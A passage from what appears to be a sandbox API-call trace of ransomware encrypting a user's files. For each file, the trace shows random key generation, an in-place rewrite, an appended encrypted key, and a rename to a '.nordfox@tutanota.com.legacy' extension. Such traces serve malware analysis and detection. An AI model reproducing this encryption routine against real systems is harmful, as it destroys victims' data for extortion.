(HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0171.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0171.634] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b", dwFileAttributes=0x80) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618898 [0171.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0171.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.635] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.635] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=581546) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8dfaa) returned 0x6f3020 [0171.637] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8dfaa) returned 0x352f020 [0171.638] ReadFile (in: hFile=0x1830, lpBuffer=0x6f3020, nNumberOfBytesToRead=0x8dfaa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f3020*, lpNumberOfBytesRead=0x2e1f9bc*=0x8dfaa, lpOverlapped=0x0) returned 1 [0171.664] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-581546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.664] WriteFile (in: hFile=0x1830, lpBuffer=0x352f020*, nNumberOfBytesToWrite=0x8dfaa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8dfaa, lpOverlapped=0x0) returned 1 [0171.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f3020 | out: hHeap=0x520000) returned 1 [0171.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352f020 | out: hHeap=0x520000) returned 1 [0171.670] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8dfaa [0171.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.671] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.671] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.671] CloseHandle (hObject=0x1830) returned 1 [0171.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0171.671] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\53065cdcbb941597a827a5c29535d7ac11257106578b6a09580177978db66e3b.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0171.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619f18 | out: hHeap=0x520000) returned 1 [0171.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619978 | out: hHeap=0x520000) returned 1 [0171.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a1e8 [0171.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0171.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0171.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac", dwFileAttributes=0x80) returned 1 [0171.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619f18 [0171.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b48d8 [0171.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619f18 | out: hHeap=0x520000) returned 1 [0171.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.675] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2033966) returned 1 [0171.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f092e) returned 0x352e020 [0171.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f092e) returned 0x3724020 [0171.684] ReadFile (in: hFile=0x1830, lpBuffer=0x352e020, nNumberOfBytesToRead=0x1f092e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f092e, lpOverlapped=0x0) returned 1 [0171.768] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2033966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.768] WriteFile (in: hFile=0x1830, lpBuffer=0x3724020*, nNumberOfBytesToWrite=0x1f092e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3724020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f092e, lpOverlapped=0x0) returned 1 [0171.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352e020 | out: hHeap=0x520000) returned 1 [0171.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3724020 | out: hHeap=0x520000) returned 1 [0171.790] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f092e [0171.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.791] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.791] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.791] CloseHandle (hObject=0x1830) returned 1 [0171.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0171.791] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4d3461b53f801f1aad635b7ee4b053a6a3b9948398394a53d751dff438e02dac.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b48d8 | out: hHeap=0x520000) returned 1 [0171.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619ae0 | out: hHeap=0x520000) returned 1 [0171.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618898 [0171.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43", dwFileAttributes=0x80) returned 1 [0171.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619978 [0171.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0171.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619978 | out: hHeap=0x520000) returned 1 [0171.794] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.794] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1011) returned 1 [0171.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x2f74cc0 [0171.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x2f750c0 [0171.795] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0171.807] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.807] WriteFile (in: hFile=0x1830, lpBuffer=0x2f750c0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f750c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0171.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f750c0 | out: hHeap=0x520000) returned 1 [0171.807] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f3 [0171.807] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.807] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.807] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.808] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.808] CloseHandle (hObject=0x1830) returned 1 [0171.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.808] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4b527fcfd3d393f17e8b4a86227b42d4d6939d69ca21d501e800c129a2c92a43.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b55c8 | out: hHeap=0x520000) returned 1 [0171.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619810 | out: hHeap=0x520000) returned 1 [0171.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a1e8 [0171.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.810] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311", dwFileAttributes=0x80) returned 1 [0171.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618898 [0171.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5178 [0171.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618898 | out: hHeap=0x520000) returned 1 [0171.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.811] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17325) returned 1 [0171.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x43ad) returned 0x30d1028 [0171.812] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x43ad) returned 0x30d53e0 [0171.812] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x43ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x43ad, lpOverlapped=0x0) returned 1 [0171.823] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.823] WriteFile (in: hFile=0x1830, lpBuffer=0x30d53e0*, nNumberOfBytesToWrite=0x43ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d53e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43ad, lpOverlapped=0x0) returned 1 [0171.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d53e0 | out: hHeap=0x520000) returned 1 [0171.823] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43ad [0171.823] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.824] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.824] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.824] CloseHandle (hObject=0x1830) returned 1 [0171.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.824] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4a35a161e66f22b369c5112736ad3ca4bd78615f255072df610ae99ec700e311.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5178 | out: hHeap=0x520000) returned 1 [0171.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618730 | out: hHeap=0x520000) returned 1 [0171.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619ae0 [0171.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0171.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0171.826] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7", dwFileAttributes=0x80) returned 1 [0171.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618730 [0171.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0171.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618730 | out: hHeap=0x520000) returned 1 [0171.827] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.828] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=484236) returned 1 [0171.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7638c) returned 0x33b6018 [0171.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7638c) returned 0x342c3b0 [0171.830] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x7638c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x7638c, lpOverlapped=0x0) returned 1 [0171.869] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-484236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.869] WriteFile (in: hFile=0x1830, lpBuffer=0x342c3b0*, nNumberOfBytesToWrite=0x7638c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342c3b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7638c, lpOverlapped=0x0) returned 1 [0171.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x342c3b0 | out: hHeap=0x520000) returned 1 [0171.878] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7638c [0171.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, 